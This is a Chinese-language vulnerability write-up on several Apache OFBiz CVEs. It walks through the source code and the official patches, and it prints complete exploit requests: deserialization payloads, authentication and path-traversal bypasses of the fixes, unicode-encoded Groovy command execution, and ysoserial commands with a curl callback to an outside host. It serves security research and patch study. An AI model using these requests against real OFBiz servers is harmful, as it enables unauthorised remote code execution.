Cursory Analysis Of Apache OFBiz Vulnerability

前言

Apache OFBiz(Open for Business Project)是一个非常强大的开源企业资源规划(ERP)和企业自动化软件。它提供了一整套业务应用程序组件,可以用于构建各种企业级的业务管理系统,包括但不限于客户关系管理(CRM)、供应链管理(SCM)、电子商务、财务管理、制造管理等多个业务领域。

由于其连续爆出多个由于权限问题所导致的漏洞,本文旨在分析部分相关漏洞,学习了解相关的漏洞成因及利用手法。Apache OFBiz具体的漏洞细节可以在其官网查看,https://ofbiz.apache.org/security.html

Pre Auth

CVE-2020-9496

Apache XML-RPC是Apache软件基金会下的一个开源项目,它为Java开发者提供了一个完整的XML-RPC实现框架,方便开发人员在Java环境中构建能够支持XML-RPC通信的客户端和服务器端应用程序。但在2010年前后,Apache XML-RPC基本上就不更新了,历史上出现过多个反序列化漏洞(如CVE-2016-5003、CVE-2019-17570),但都没有被修复。而Apache OFBiz由于使用了XML-RPC组件,因此导致了漏洞的存在。

该漏洞的本质原因为Apache OFBiz使用了XML-RPC组件,从而导致其易受不安全反序列化的影响。漏洞入口点在/webtools/control/xmlrpc,查看framework/webtools/webapp/webtools/WEB-INF/web.xml,可以得知control路由由org.apache.ofbiz.webapp.control.ControlServlet进行处理。

1
2
3
4
5
6
7
8
9
10
11
<servlet>
<description>Main Control Servlet</description>
<display-name>ControlServlet</display-name>
<servlet-name>ControlServlet</servlet-name>
<servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>ControlServlet</servlet-name>
<url-pattern>/control/*</url-pattern>
</servlet-mapping>

跟进org.apache.ofbiz.webapp.control.ControlServlet#doGet方法,先获取RequestHandler。

接着尝试从ServletContext中获取一个名为_REQUEST_HANDLER_的属性,可以看到读取了framework/webtools/webapp/webtools/WEB-INF/controller.xml文件。

1
2
3
4
5
6
<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
<security https="false"/>
<event type="xmlrpc"/>
<response name="error" type="none"/>
<response name="success" type="none"/>
</request-map>

可以看到对于xmlrpc路由,其security的值为false,即无需鉴权即可访问,接着进行一系列请求处理后调用org.apache.ofbiz.webapp.control.RequestHandler#doRequest方法来处理请求。

接着从framework/webtools/webapp/webtools/WEB-INF/controller.xml文件获取控制器配置信息。然后匹配访问的路由。

接着调用到org.apache.ofbiz.webapp.control.RequestHandler#runEvent方法,根据event的类型,在工厂类中获取对应的EventHandler并执行其invoke方法。

xmlrpc路由对应的EventHandler是XmlRpcEventHandler类,跟进org.apache.ofbiz.webapp.event.XmlRpcEventHandler#invoke方法,当请求中缺乏echo参数时进入else语句,调用org.apache.ofbiz.webapp.event.XmlRpcEventHandler#execute方法。

在org.apache.ofbiz.webapp.event.XmlRpcEventHandler#execute方法中,传入获取的XML-RPC配置和创建的HttpStreamConnection对象,执行XML-RPC调用。

跟进org.apache.ofbiz.webapp.event.XmlRpcEventHandler#getRequest方法,创建一个XmlRpcRequestParser对象,用于解析XML-RPC请求,使用SAXParsers#newXMLReader实例化一个新的XMLReader对象,接着利用XMLReader解析输入流中的XML数据。

继续跟进XmlRpcRequestParser,此时对输入流中的XML进行解析,包括startElement方法、endElement方法等,在startElement方法中会调用父类org.apache.xmlrpc.parser.RecursiveTypeParserImpl的startElement方法。

org.apache.xmlrpc.parser.RecursiveTypeParserImpl#startElement方法中,扫描XML的标签的时候会调用getParser方法获取对应标签的parser。

当标签为serializable时会调用解析器SerializableParser,其父类是ByteArrayParser,先进行一次Base64解码,然后在SerializerParser#getResult方法中会触发反序列化。

需要注意的是,XmlRpcRequestParser的对于XML的解析中,处理过程是按照methodCall,methodName,params,param的顺序遍历标签进行的,当扫描完4个必须提供的标签后,才会调用父类的startElement方法进行处理,而typeParser就是在父类中完成赋值的,随后通过不同的解析器进入不同的解析流程。

因此,最后default中的解析是从value节点内开始的,而直接传入searializable标签是不存在getResult方法触发的,这里利用struct标签进行一层嵌套。

漏洞利用数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

<?xml version="1.0"?>
<methodCall>
<methodName>{{Random_String}}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>{{Random_String}}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
{{Base64_Payload}}
</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

官方第一次提交的修复补丁https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a,此次补丁的主要作用是为XML-RPC的接口进行鉴权。

但是这种修复方式治标不治本,攻击者依旧可以实现Post-Auth攻击,因此官方进行了二次补丁,此次增加了关键词的检测。但是这样就安全了嘛?很明显,可以利用增加空格的方式来进行绕过,因此官方又进行了一次补丁https://github.com/apache/ofbiz-framework/commit/25293e4cf6f334a2ae33b3041acba45113dddce9,通过检测</serializable关键词来进行防御。

CVE-2021-26295

在上文分析CVE-2020-9496时,在controller.xml文件中还存在另一个路由SOAPService,其鉴权也是缺失的。

1
2
3
4
5
6
<request-map uri="SOAPService">
<security https="false"/>
<event type="soap"/>
<response name="error" type="none"/>
<response name="success" type="none"/>
</request-map>

可以看到,SOAPService路由对应的event为soap,寻找对应的SOAP Event Handler。在org.apache.ofbiz.webapp.event.SOAPEventHandler#invoke方法中,会利用SoapSerializer#deserialize方法,将SOAP请求中的XML数据反序列化为Java对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public String invoke(Event event, RequestMap requestMap, HttpServletRequest request, HttpServletResponse response) throws EventHandlerException {
...
String serviceName = null;
try {
SOAPBody reqBody = reqEnv.getBody();
validateSOAPBody(reqBody);
OMElement serviceElement = reqBody.getFirstElement();
serviceName = serviceElement.getLocalName();
Map<String, Object> parameters = UtilGenerics.cast(SoapSerializer.deserialize(serviceElement.toString(), delegator));
...
} catch (Exception e) {
sendError(response, e.getMessage(), serviceName);
Debug.logError(e, module);
return null;
}

return null;
}

在org.apache.ofbiz.service.engine.SoapSerializer#deserialize方法中,会利用XmlSerializer#deserialize方法来将XML数据反序列化为Java对象。

1
2
3
4
5
6
7
8
public static Object deserialize(String content, Delegator delegator) throws SerializeException, SAXException, ParserConfigurationException, IOException {
Document document = UtilXml.readXmlDocument(content, false);
if (document != null) {
return XmlSerializer.deserialize(document, delegator);
}
Debug.logWarning("Serialized document came back null", module);
return null;
}

在org.apache.ofbiz.entity.serialize.XmlSerializer#deserialize方法中,调用org.apache.ofbiz.entity.serialize.XmlSerializer#deserializeSingle方法,根据标签进行解析,接着进一步调用org.apache.ofbiz.entity.serialize.XmlSerializer#deserializeCustom方法。

1
2
3
4
5
6
7
8
9
10
11
12
public static Object deserialize(Document document, Delegator delegator) throws SerializeException {
Element rootElement = document.getDocumentElement();
// find the first element below the root element, that should be the object
Node curChild = rootElement.getFirstChild();
while (curChild != null && curChild.getNodeType() != Node.ELEMENT_NODE) {
curChild = curChild.getNextSibling();
}
if (curChild == null) {
return null;
}
return deserializeSingle((Element) curChild, delegator);
}
1
2
3
4
5
6
7
8
9
10
11
public static Object deserializeSingle(Element element, Delegator delegator) throws SerializeException {
String tagName = element.getLocalName();

if ("null".equals(tagName)) {
return null;
}

...

return deserializeCustom(element);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static Object deserializeCustom(Element element) throws SerializeException {
String tagName = element.getLocalName();
if ("cus-obj".equals(tagName)) {
String value = UtilXml.elementValue(element);
if (value != null) {
byte[] valueBytes = StringUtil.fromHexString(value);
if (valueBytes != null) {
Object obj = UtilObject.getObject(valueBytes);
if (obj != null) {
return obj;
}
}
}
throw new SerializeException("Problem deserializing object from byte array + " + element.getLocalName());
}
throw new SerializeException("Cannot deserialize element named " + element.getLocalName());
}

XmlSerializer#deserializeCustom方法中,当标签为cus-obj时,对内容进行一次十六进制解码处理,然后调用org.apache.ofbiz.base.util.UtilObject#getObject方法将字节数组反序列化为Java对象。UtilObject#getObject方法进一步调用UtilObject#getObjectException方法来反序列化字节数组数据,但是这里调用的是自定义的SafeObjectInputStream来处理数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static Object getObject(byte[] bytes) {
Object obj = null;
try {
obj = getObjectException(bytes);
} catch (ClassNotFoundException | IOException e) {
Debug.logError(e, module);
}
return obj;
}

public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try (ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
return wois.readObject();
}
}

跟进SafeObjectInputStream,可以看到采用了白名单来限制了反序列化的类,由于java..*的松散程度过大,导致了恶意反序列化的发生。

在官方补丁https://github.com/apache/ofbiz-framework/commit/af9ed4e也可以看到,增加了对java.rmi.server的反序列化限制。

漏洞利用数据包如下:

1
2
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 "curl http://192.168.0.115:4444"
java -jar ysoserial-all.jar JRMPClient "192.168.0.115:1099" | xxd -p -c 10000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /webtools/control/SOAPService HTTP/1.1
Host: 127.0.0.1:8443
Connection: close
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Sec-Fetch-Dest: document
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 767

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/>
<soapenv:Body>
<ser>
<cus-obj>{{payload}}</cus-obj>
</ser>
</soapenv:Body>
</soapenv:Envelope>

官方补丁中采用黑名单的方式增加对java.rmi.server的限制,https://github.com/apache/ofbiz-framework/commit/af9ed4e#diff-c0e9a4bd325bc9530a752224575a9f3942e7cba19d61001836214c50d56aa9fcR72

由于这种修复方式依旧没有解决白名单绕过的问题,r00t4dm师傅利用javax.management.remote.rmi.RMIConnectionImpl_Stub绕过了该补丁(CVE-2021-29200),参考Apache OFBiz CVE-2021-29200 简要分析

Bypas Auth

CVE-2023-49070

上文提到了,对于XMLRPC相关的漏洞增加了两个主要的修复方式,那如果想让漏洞重新变为一个Pre-Auth RCE漏洞,需要满足如下条件:

  1. 绕过对于</serializable这个关键词的检测
  2. 绕过对XML-RPC这个接口的认证

上文已经知道了补丁的信息,增加了一个CacheFilter来进行防护,可以看到首先会匹配当前uri是否为/control/xmlrpc,如果路由符合的话会判断请求体中是否包含</serializable关键词,匹配到了则进行拦截。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// Get the request URI without the webapp mount point.
String context = ((HttpServletRequest) request).getContextPath();
String uriWithContext = ((HttpServletRequest) request).getRequestURI();
String uri = uriWithContext.substring(context.length());

if ("/control/xmlrpc".equals(uri.toLowerCase())) {
// Read request.getReader() as many time you need
request = new RequestWrapper((HttpServletRequest) request);
String body = request.getReader().lines().collect(Collectors.joining());
if (body.contains("</serializable")) {
Debug.logError("Content not authorised for security reason", "CacheFilter"); // Cf. OFBIZ-12332
return;
}
}
chain.doFilter(request, response);
}

在Java中,部分中间件如Tomcat可以通过;的方式,在路径中增加Matrix Parameters来进行绕过,https://www.baeldung.com/cs/url-matrix-vs-query-parameters尝试在XML-RPC请求的路径中增加分号/webtools/control/xmlrpc;/,可以看到此时uri已经变成/control/xmlrpc;/,绕过了这里的限制。

此时绕过了对于</serializable这个关键词的检测,可以看到服务器返回了登录界面,因此还需要绕过对XML-RPC这个接口的认证。

在org.apache.ofbiz.webapp.control.LoginWorker#checkLogin方法下断点,该函数用于检查用户是否登录。注意到一个关键的判断“username == null || (password == null && token == null) || “error”.equals(login(request, response)”,此时当username和password不为null,且login方法的返回值不为error即可绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {
GenericValue userLogin = checkLogout(request, response);
HttpSession session = request.getSession();

String username = null;
String password = null;
String token = null;

if (userLogin == null) {
// check parameters
username = request.getParameter("USERNAME");
password = request.getParameter("PASSWORD");
token = request.getParameter("TOKEN");
// check session attributes
if (username == null) username = (String) session.getAttribute("USERNAME");
if (password == null) password = (String) session.getAttribute("PASSWORD");
if (token == null) token = (String) session.getAttribute("TOKEN");

// in this condition log them in if not already; if not logged in or can't log in, save parameters and return error
if (username == null
|| (password == null && token == null)
|| "error".equals(login(request, response))) {
request.removeAttribute("_LOGIN_PASSED_");
session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo());
Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request);
if (UtilValidate.isNotEmpty(urlParams)) {
session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams);
}
Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false);
if (UtilValidate.isNotEmpty(formParams)) {
session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams);
}
return "error";
}
}

//Allow loggingOut when impersonated
boolean isLoggingOut = "logout".equals(RequestHandler.getRequestUri(request.getPathInfo()));
//Check if the user has an impersonation in process
boolean authoriseLoginDuringImpersonate = EntityUtilProperties.propertyValueEquals("security", "security.login.authorised.during.impersonate", "true");
if (!isLoggingOut && !authoriseLoginDuringImpersonate && checkImpersonationInProcess(request, response) != null) {
request.removeAttribute("_ERROR_MESSAGE_LIST_");
return "impersonated";
}

return "success";
}

跟进org.apache.ofbiz.webapp.control.LoginWorker#login方法,注意到如下几行代码,可以看到当unpwErrMsgList不为空且requirePasswordChange参数值为Y时,返回的结果即为requirePasswordChange而不是error,满足前文绕过需求。而要使得unpwErrMsgList不为,则需要满足username为空或者password和token同时为空,因此可以构造传参为USERNAME=&PASSWORD=&token=&requirePasswordChange=Y

1
2
3
4
5
6
7
8
9
10
11
12
List<String> unpwErrMsgList = new LinkedList<String>();
if (UtilValidate.isEmpty(username)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
}
if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
}
boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
if (!unpwErrMsgList.isEmpty()) {
request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
return requirePasswordChange ? "requirePasswordChange" : "error";
}

漏洞利用数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /webtools/control/xmlrpc/;/?USERNAME=&PASSWORD=&token=&requirePasswordChange=Y HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
<methodName>{{Random_String}}</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>{{Random_String}}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
{{Base64_Payload}}
</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

OBFiz官方对于CVE-2023-49070的修复方式是直接移除了XML-RPC相关的逻辑https://github.com/apache/ofbiz-framework/commit/c59336f604f503df5b2f7c424fd5e392d5923a27,但是认证绕过的问题其实并没有处理。

CVE-2023-51467

上文在分析CVE-2023-49070时,其补丁并未修复认证绕过的问题,因此导致了依旧可以利用鉴权绕过来访问任意接口。在后台中,注意到路由webtools/control/ProgramExport可以执行Groovy脚本。

跟进一下ProgramExport对应的视图配置,可以看到会去调用ProgramExport.groovy来执行Groovy脚本。

1
<view-map name="ProgramExport" type="screen" page="component://webtools/widget/EntityScreens.xml#ProgramExport"/>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<screen name="ProgramExport">
<section>
<actions>
<set field="titleProperty" value="PageTitleEntityExportAll"/>
<set field="tabButtonItem" value="programExport"/>
<script location=/>
</actions>
<widgets>
<decorator-screen name="CommonImportExportDecorator" location="${parameters.mainDecoratorLocation}">
<decorator-section name="body">
<screenlet>
<include-form name="ProgramExport" location="component://webtools/widget/MiscForms.xml"/>
</screenlet>
<screenlet>
<platform-specific>
<html><html-template location="component://webtools/template/entity/ProgramExport.ftl"/></html>
</platform-specific>
</screenlet>
</decorator-section>
</decorator-screen>
</widgets>
</section>
</screen>

在ProgramExport.groovy中,利用org.apache.ofbiz.security.SecuredUpload#isValidText方法来检测是否是Webshell。

在SecuredUpload#isValidText方法中,通过读取配置文件来获取不允许的WebShell Token。

1
2
3
4
5
6
7
8
9
10
public static boolean isValidText(String content, List<String> allowed) throws IOException {
return content != null ? DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token.toLowerCase(), allowed)) : false;
}

private static final List<String> DENIEDWEBSHELLTOKENS = getDeniedWebShellTokens();

private static List<String> getDeniedWebShellTokens() {
String deniedTokens = UtilProperties.getPropertyValue("security", "deniedWebShellTokens");
return UtilValidate.isNotEmpty(deniedTokens) ? StringUtil.split(deniedTokens, ",") : new ArrayList<>();
}

简单Bypass以下即可实现RCE的目的,例如字符拼接或者编码等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /webtools/control/ProgramExport?USERNAME=&PASSWORD=&token=&requirePasswordChange=Y HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 618
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"

groovyProgram=\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u002e\u0067\u0065\u0074\u0052\u0075\u006e\u0074\u0069\u006d\u0065\u0028\u0029\u002e\u0065\u0078\u0065\u0063\u0028\u0022\u0074\u006f\u0075\u0063\u0068\u0020\u002f\u0074\u006d\u0070\u002f\u0068\u0061\u0063\u006b\u0065\u0072\u0022\u0029

官方补丁https://github.com/apache/ofbiz-framework/commit/d8b097f6717a4004acf023dfe929e0e41ad63faa#diff-68decfd4946b8ef0adcc4c7f18b938aec4a07ff7ce64609a2691ba88a4688607L426对于之前的用户名、密码等置空绕过部分进行了检测,禁止为空字符串。

CVE-2024-38856

在RequestHandler#doRequest方法中,利用getRequestUri方法来获取请求URI的基础部分,将pathInfo按/分割成一个字符串列表,若不为空则取第一个元素,当包含?时,取?之前部分;利用getOverrideViewUri方法来获取用于覆盖视图的URI部分,同样将pathInfo按/分割成一个字符串列表,忽略列表中第一个元素并遍历剩余的元素(忽略~开头的元素),当包含?时,取?之前部分,将列表剩余符合元素拼接起来。

在默认情况下,渲染的视图为nextRequestResponse.value,即根据路由的返回结果来自动选择视图,这里分为三种情况:

  1. 定义了event的路由(通常无需鉴权),会根据对应event的执行结果决定渲染类型
  2. 没有定义event但security中auth为true的路由,会根据认证返回结果决定渲染类型
  3. 既没有定义event、又缺乏认证的路由,这种会直接取配置中success的结果对应的值作为渲染类型

接着会校验requestUri是否需要认证,这里利用security值为true的路由来绕过检查。

继续往下,在runEvent方法中,通过反射调用到利用路由的业务方法,满足返回值为success即可。

接着判断nextRequestResponse.type的值,可以在配置文件中查看。

1
2
3
4
5
6
7
<request-map uri="forgotPassword">
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.securityext.login.LoginEvents" invoke="forgotPassword"/>
<response name="success" type="view" value="forgotPassword"/>
<response name="error" type="view" value="forgotPassword"/>
<response name="auth" type="request-redirect" value="main" />
</request-map>

进入对应的语句,可以看到,当overrideViewUri不为空,且eventReturn的值为success时,会将视图渲染为overrideViewUri。

1
2
3
4
5
6
7
else if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}

因此,可以利用不鉴权且路由的type为view的路由来作为requestUri的值,然后overrideViewUri设置为需要利用的路由,就可以实现前序步骤的权限校验绕过,同时将视图渲染为目标视图。同时可以利用getOverrideViewUri方法处理时的特性来绕过部分流量检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /webtools/control/forgotPassword/~aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/ProgramExport HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1:8443
Origin: https://127.0.0.1:8443
Referer: https://127.0.0.1:8443/scrum/control/login
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"

groovyProgram=\u0022\u0074\u006f\u0075\u0063\u0068\u0020\u002f\u0074\u006d\u0070\u002f\u0068\u0061\u0063\u006b\u0065\u0072\u0022\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

官方补丁https://github.com/apache/ofbiz-framework/commit/59b42220ab642699769895ee248575154db91e62对漏洞触发点进行了校验。

Privilege Escalation

CVE-2024-25065

账号的访问权限部分由org.apache.ofbiz.webapp.control.LoginWorker#hasBasePermission方法控制,先从ServletContext中获取_serverId,并获取当前请求的上下文路径,接着调用ComponentConfig#getWebAppInfo方法,很明显当info的值为null时即可跳过判断。

在ComponentConfig#getWebAppInfo方法中,只需让contextRoot与wInfo.getContextRoot()不相等,即可满足返回的结果为null。

对于org.apache.catalina.connector.Request#getContextPath方法,返回值与match相关,只需保证candidate与canonicalContextPath相等即可让match返回true,而candidate的值是通过循环取得,每次多取一级子目录的值,并经过url解码以及normalize后即为其值。因此可以构造出这样的URL,/h3rmesk1t/../webtools/control/login,这样ContextPath的值中就会带上/h3rmesk1t/../,显然不会再与配置中的值相等,从而实现绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
public String getContextPath() {
String canonicalContextPath = this.getServletContext().getContextPath();
String uri = this.getRequestURI();
char[] uriChars = uri.toCharArray();
int lastSlash = this.mappingData.contextSlashCount;
if (lastSlash == 0) {
return "";
} else {
int pos;
for(pos = 0; lastSlash > 0; --lastSlash) {
pos = this.nextSlash(uriChars, pos + 1);
if (pos == -1) {
break;
}
}

String candidate;
if (pos == -1) {
candidate = uri;
} else {
candidate = uri.substring(0, pos);
}

candidate = this.removePathParameters(candidate);
candidate = UDecoder.URLDecode(candidate, this.connector.getURICharset());
candidate = RequestUtil.normalize(candidate);

boolean match;
for(match = canonicalContextPath.equals(candidate); !match && pos != -1; match = canonicalContextPath.equals(candidate)) {
pos = this.nextSlash(uriChars, pos + 1);
if (pos == -1) {
candidate = uri;
} else {
candidate = uri.substring(0, pos);
}

candidate = this.removePathParameters(candidate);
candidate = UDecoder.URLDecode(candidate, this.connector.getURICharset());
candidate = RequestUtil.normalize(candidate);
}

if (match) {
return pos == -1 ? uri : uri.substring(0, pos);
} else {
throw new IllegalStateException(sm.getString("coyoteRequest.getContextPath.ise", new Object[]{canonicalContextPath, uri}));
}
}
}

除此之外,由于OFBiz的路由功能是通过path决定的,要鉴权就需要通过extensionCheckLogin完成,而在这个函数中会先校验用户名密码,只有用户名密码正确才通过函数hasBasePermission判断是否有对应路径权限,因此需要一个低权限账号来满足前序步骤。

漏洞利用数据包如下:

1
2
3
4
5
6
7
8
9
POST /h3rmesk1t/../webtools/control/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
X-Forwarded-Proto: HTTPS
Content-Type: application/x-www-form-urlencoded
Cookie: webtools.securedLoginId=admin; JSESSIONID=7899116F52229866537976CBD23EFA95.jvm1; JSESSIONID=145B4BBDF7F815B119E02ED19923821C; java-chains-token-key=admin_token; OFBiz.Visitor=10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 200

USERNAME=bizadmin&PASSWORD=ofbiz&JavaScriptEnabled=Y&groovyProgram=\u0022\u0074\u006f\u0075\u0063\u0068\u0020\u002f\u0074\u006d\u0070\u002f\u0033\u0022\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

官方补丁https://github.com/apache/ofbiz-framework/commit/b91a9b7f26https://github.com/apache/ofbiz-framework/commit/b3b87d98dd对contextPath也进行了normalize处理。

CVE-2024-32113&CVE-2024-36104

这两个漏洞的本质还是对CVE-2024-25065的补丁进行一个绕过,无论是getRequestURI方法还getRequestURL方法都不会做URL解码,因此可以采用编码来进行绕过,另外也可以配合分号的使用绕过校验(CVE-2024-36104)。

1
2
3
4
5
6
7
8
9
POST /h3rmesk1t/%2e%2e/webtools/control/ProgramExport HTTP/1.1
Host: 127.0.0.1:8443
X-Forwarded-Proto: HTTPS
Content-Type: application/x-www-form-urlencoded
Cookie: webtools.securedLoginId=admin; JSESSIONID=7899116F52229866537976CBD23EFA95.jvm1; JSESSIONID=145B4BBDF7F815B119E02ED19923821C; java-chains-token-key=admin_token; OFBiz.Visitor=10000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 200

USERNAME=bizadmin&PASSWORD=ofbiz&JavaScriptEnabled=Y&groovyProgram=\u0022\u0074\u006f\u0075\u0063\u0068\u0020\u002f\u0074\u006d\u0070\u002f\u0033\u0022\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

对于上述利用手法,官方采用正则的方式进行修复https://github.com/apache/ofbiz-framework/commit/d33ce31012

参考

Apache OFBiz漏洞CVE-2023-49070的前世今生

Apache OFBiz Authentication Bypass(CVE-2024-38856)